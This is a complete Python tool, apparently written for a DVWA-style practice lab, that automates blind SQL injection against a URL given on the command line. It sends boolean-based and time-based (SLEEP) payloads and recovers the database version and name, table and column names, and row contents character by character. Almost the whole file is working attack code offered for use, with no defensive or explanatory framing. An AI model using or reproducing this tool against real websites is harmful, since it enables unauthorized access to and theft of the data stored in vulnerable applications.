SQL blind injection

sqli_blind.py

#!/usr/bin/env python3
# author: c4mx

import requests
import sys
import time
import argparse
from bs4 import BeautifulSoup

URL = ''
MODE = ''

#URL = "http://127.0.0.1:8081/vulnerabilities/sqli_blind/?Submit=Submit&id=9000'"
PROXIES = { 'http': 'http://127.0.0.1:8080' }
COOKIES = { 'PHPSESSID' : 'pnbfes21llulbuv14oqgvekvk3', 'security': 'low' }
TIME = 1
#MODE = 'Time'
#MODE = 'Boolean'

def write_to_console(char):
    sys.stdout.write(char)
    sys.stdout.flush()

# To adapt for each target
def boolean_based_sqli(target):
    r = requests.get(target, proxies=PROXIES, cookies=COOKIES)

    if r.status_code == 200:
        return True
    if r.status_code == 404:
        return False
    return None

def time_based_sqli(target):
    startTime = time.time()
    r = requests.get(target, proxies=PROXIES, cookies=COOKIES)
    elapsedTime = time.time() - startTime
    if elapsedTime >= TIME:
        return True
    else:
        return False

def get_char(inj_str):
    for ichar in range(32, 126):
        target = URL + inj_str.replace("[CHAR]", str(ichar)).replace(" ", "/**/")
        if MODE == 'Boolean':
            if boolean_based_sqli(target):
                return chr(ichar)
        elif MODE == 'Time':
            if time_based_sqli(target):
                return chr(ichar)
        else:
            return None
   
    return None

def dump_db_version():
    print('[+] Retrieving database version...')
    for i in range(1, 100):
        if MODE == 'Boolean':
            inj_str = f" OR (ASCII(SUBSTRING((SELECT version()),{i},1)))=[CHAR];%23"
        elif MODE == 'Time':
            inj_str = f" OR IF((ASCII(SUBSTRING((SELECT version()),{i},1)))=[CHAR], SLEEP({TIME}), 0);%23"
        else:
            return None
        char = get_char(inj_str)
        if char is not None:
            write_to_console(char)
        else:
            break
    
def dump_current_db_name():
    print('[+] Retrieving current database name...')
    for i in range(1, 100):
        if MODE == 'Boolean':
            inj_str = f" OR (ASCII(SUBSTRING((SELECT database()),{i},1)))=[CHAR];%23"
        elif MODE == 'Time':
            inj_str = f" OR IF((ASCII(SUBSTRING((SELECT database()),{i},1)))=[CHAR], SLEEP({TIME}), 0);%23"
        else:
            return
        char = get_char(inj_str)
        if char is not None:
           write_to_console(char)
        else:
            break
    
def dump_row_number(url, from_query):
    #print('[+] Dumping row numbers...')
    digit_length = None
    for i in range(0, 10):
        if MODE == 'Boolean':
            inj_str = f" OR (LENGTH((SELECT COUNT(*) FROM {from_query})) = {i});%23"
            #inj_str = f" OR (LENGTH((select TABLE_ROWS FROM information_schema.TABLES where TABLE_SCHEMA = '{db_name}' and TABLE_NAME= '{table_name}')) = {i});%23"
            result = boolean_based_sqli(url + inj_str)
        elif MODE == 'Time':
            inj_str = f" OR IF((LENGTH((SELECT COUNT(*) FROM {from_query})) = {i}), SLEEP({TIME}), 0);%23"
            result = time_based_sqli(url + inj_str)
        else:
            return None
        if result:
            digit_length = i
            #print("Row num digit length: " + str(i))
            break

    row_num = ''
    if digit_length > 0:
        for pos in range(1, digit_length+1):
            for digit in range (0, 10):
                if MODE == 'Boolean':
                    inj_str = f" OR (MID((SELECT COUNT(*) FROM {from_query}), {pos}, 1) = {digit});%23"
                    result = boolean_based_sqli(url + inj_str)
                elif MODE == 'Time':
                    inj_str = f" OR IF((MID((SELECT COUNT(*) FROM {from_query}), {pos}, 1) = {digit}), SLEEP({TIME}), 0);%23"
                    result = time_based_sqli(url + inj_str)
                else:
                    return None
                if result:
                    row_num += str(digit)
                    break
    
    #write_to_console("Row num: " + row_num)
    return row_num

def dump_data(row_num, name, injection_string):
    for row in range(0, int(row_num)):
        write_to_console(f'\n{name} - {row}: ')
        for pos in range(1, 100):
            inj_str = injection_string.replace('[ROW]', str(row)).replace('[POS]', str(pos))
            char = get_char(inj_str)
            if char is not None:
               write_to_console(char)
            else:
                break

def dump_table_names(db_name):
    from_q = f"information_schema.TABLES WHERE TABLE_SCHEMA = '{db_name}'"
    row_num = dump_row_number(URL, from_q)
    write_to_console(f'\nDatabase: {db_name}, Table num: {row_num}\n')
    if MODE == 'Boolean':
        inj_str = f" OR (ASCII(SUBSTRING((SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = '{db_name}' LIMIT [ROW], 1), [POS],1)))=[CHAR];%23"
    elif MODE == 'Time':
        inj_str = f" OR IF((ASCII(SUBSTRING((SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = '{db_name}' LIMIT [ROW], 1), [POS],1)))=[CHAR], SLEEP({TIME}), 0);%23"

    dump_data(row_num, 'Table', inj_str)

def dump_column_names(db_name, table_name):
    from_q = f"information_schema.COLUMNs WHERE TABLE_SCHEMA = '{db_name}' and TABLE_NAME = '{table_name}'"
    row_num = dump_row_number(URL, from_q)
    write_to_console(f'\nDatabase: {db_name}, Table: {table_name}, Row numbers: {row_num}')

    if MODE == 'Boolean':
        inj_str = f" OR (ASCII(SUBSTRING((SELECT COLUMN_NAME FROM information_schema.COLUMNs WHERE TABLE_SCHEMA = '{db_name}' and TABLE_NAME = '{table_name}' LIMIT [ROW], 1), [POS],1)))=[CHAR];%23"
    elif MODE == 'Time':
        inj_str = f" OR IF((ASCII(SUBSTRING((SELECT COLUMN_NAME FROM information_schema.COLUMNs WHERE TABLE_SCHEMA = '{db_name}' and TABLE_NAME = '{table_name}' LIMIT [ROW], 1), [POS],1)))=[CHAR], SLEEP({TIME}), 0);%23"

    dump_data(row_num, 'Column', inj_str)

def dump_rows_by_column(db_name, table_name, column_name):
    from_q = f"{table_name}"
    row_num = dump_row_number(URL, from_q)
    write_to_console(f'\nDatabase: {db_name}, Table: {table_name}, Column: {column_name}, Row numbers: {row_num}')
    if MODE == 'Boolean':
        inj_str = f" OR (ASCII(SUBSTRING((SELECT {column_name} FROM {table_name} LIMIT [ROW], 1), [POS],1)))=[CHAR];%23"
    elif MODE == 'Time':
        inj_str = f" OR IF((ASCII(SUBSTRING((SELECT {column_name} FROM {table_name} LIMIT [ROW], 1), [POS],1)))=[CHAR], SLEEP({TIME}), 0);%23"

    dump_data(row_num, 'Row', inj_str)


def main():
    header = "###### SQLi Runner - by J.Q. XU ######"

    #parser.add_argument('')
    usage = "%prog -u --url URL [-m --mode b|t]"
    parser = argparse.ArgumentParser(description=header)
    parser.add_argument('-u', '--url',
                        type=str,
                        required=True,
                        help='SQLi URL')
    parser.add_argument('-m', 
                        '--mode', 
                        type=str,
                        choices=['Boolean', 'Time'] ,
                        default= 'Boolean',
                        help='Injection mode: Boolean-based (b) or Time-based (t)')
    parser.add_argument('-dv',
                        action='store_true',
                        help='dump database version')    
    parser.add_argument('-d',
                        metavar='db_name',
                        type=str,
                        help='set db name')
    parser.add_argument('-t',
                        metavar='table_name',
                        type=str,
                        help='set table name')
    parser.add_argument('-c',
                        metavar='column_name',
                        type=str,
                        help='set column name')

    args = parser.parse_args()
    global URL, MODE
    URL = args.url
    MODE = args.mode
    try:
        print(header)
        if args.dv:
            dump_db_version()
        elif args.d and args.t and args.c:
            dump_rows_by_column(args.d, args.t, args.c)
        elif args.d and args.t:
            dump_column_names(args.d, args.t)
        elif args.d:
            dump_table_names(args.d)
        else:
            dump_current_db_name()
    except KeyboardInterrupt:
        sys.exit()

if __name__ == '__main__':
    main()